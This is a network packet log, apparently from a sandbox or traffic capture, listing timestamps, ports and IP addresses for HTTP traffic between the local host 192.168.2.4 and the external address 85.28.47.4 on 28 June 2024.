Jun 28, 2024 22:32:07.083956003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083964109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083971024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083978891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083986044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083993912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084002018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084007978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084017992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084023952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084032059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084039927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084047079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084055901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084065914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084074020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084083080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084090948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084115028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084443092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084453106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084462881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084474087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084477901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084505081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084525108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084532022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084541082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084549904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084559917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084568024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084574938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084583044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084590912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084602118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084611893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084618092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.084628105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.084650040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085072994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085083008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085093021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085108995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085115910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085123062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085131884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085144997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085150003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085159063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085171938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085176945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085186958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085195065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085201979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085212946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085222960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085231066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085241079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085247993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085256100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085264921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085272074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085280895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085288048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085295916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085306883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085314989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085323095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085333109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085340977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085347891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085356951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085362911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085382938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085422039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085840940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085850954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085860968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085872889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085877895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085890055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085896015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085902929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085913897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085922003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085931063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.085942984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.085968018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.173304081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173341990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173352003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173379898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173386097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.173394918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173402071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.173435926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.173476934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173486948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173496962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.173516989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.173533916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174385071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174431086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174438000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174448013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174477100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174487114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174499035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174510002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174520016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174530029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174541950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174561977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174587011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174596071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174606085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174616098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174628973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174647093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174689054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174699068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174704075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174727917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174738884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174822092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174833059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174843073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174853086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174859047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174868107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174877882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174912930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.174933910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.174983025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175000906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175009966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175043106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175087929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175097942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175118923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175118923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175136089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175156116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175167084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175177097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175200939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175200939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175210953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175266027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175275087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175283909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175296068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175309896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175319910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175429106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175438881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175447941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175457001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175467014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175473928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175473928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175483942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175491095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175499916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175509930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175530910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175632954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175642967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175667048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175687075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175710917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175719976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175729990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175734043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175756931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175767899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175852060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175859928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175873995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175883055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175889015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175898075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175904036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175909996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175918102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.175934076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.175946951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176125050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176132917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176137924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176147938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176162958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176168919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176179886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176188946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176194906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176208019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176214933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176223040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176235914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176244020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176250935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176259041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176266909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176275969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176280975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176291943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176306009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176314116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176337004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176619053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176628113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176637888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176650047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176656008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176662922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176668882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176676989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176685095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176691055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176706076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176717997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176765919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176775932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176785946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176803112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176829100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176829100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176846027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176855087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176865101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176877022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176882029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176889896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176896095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176904917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176911116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.176928043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.176948071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177124023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177134037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177158117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177172899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177248955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177258968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177268028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177278996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177287102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177294970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177299976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177309990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177314043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177325010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177331924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177340984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177350044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177356958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177365065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177378893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177383900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177397966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177426100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177619934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177658081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177814007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177824020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177833080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177843094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177851915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177859068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177862883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177874088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177884102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177890062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177898884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177906990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177912951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177922964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177930117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177937984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177947044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177953959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177963972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177970886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.177980900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177989960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.177997112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178004980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178013086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178020954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178030968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178035021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178045034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178050995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178059101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178071976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178092003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178437948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178447008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178457022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178467035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178478956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178488016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178494930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178507090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178514957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178523064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.178533077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.178590059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.266000986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266045094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266053915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266122103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.266140938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266150951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266160965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266170979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266220093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.266239882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.266283035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267085075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267127991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267134905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267144918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267185926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267185926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267204046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267214060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267252922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267252922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267266989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267303944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267313957 CEST	80	49731	85.28.47.4	192.168.2.4
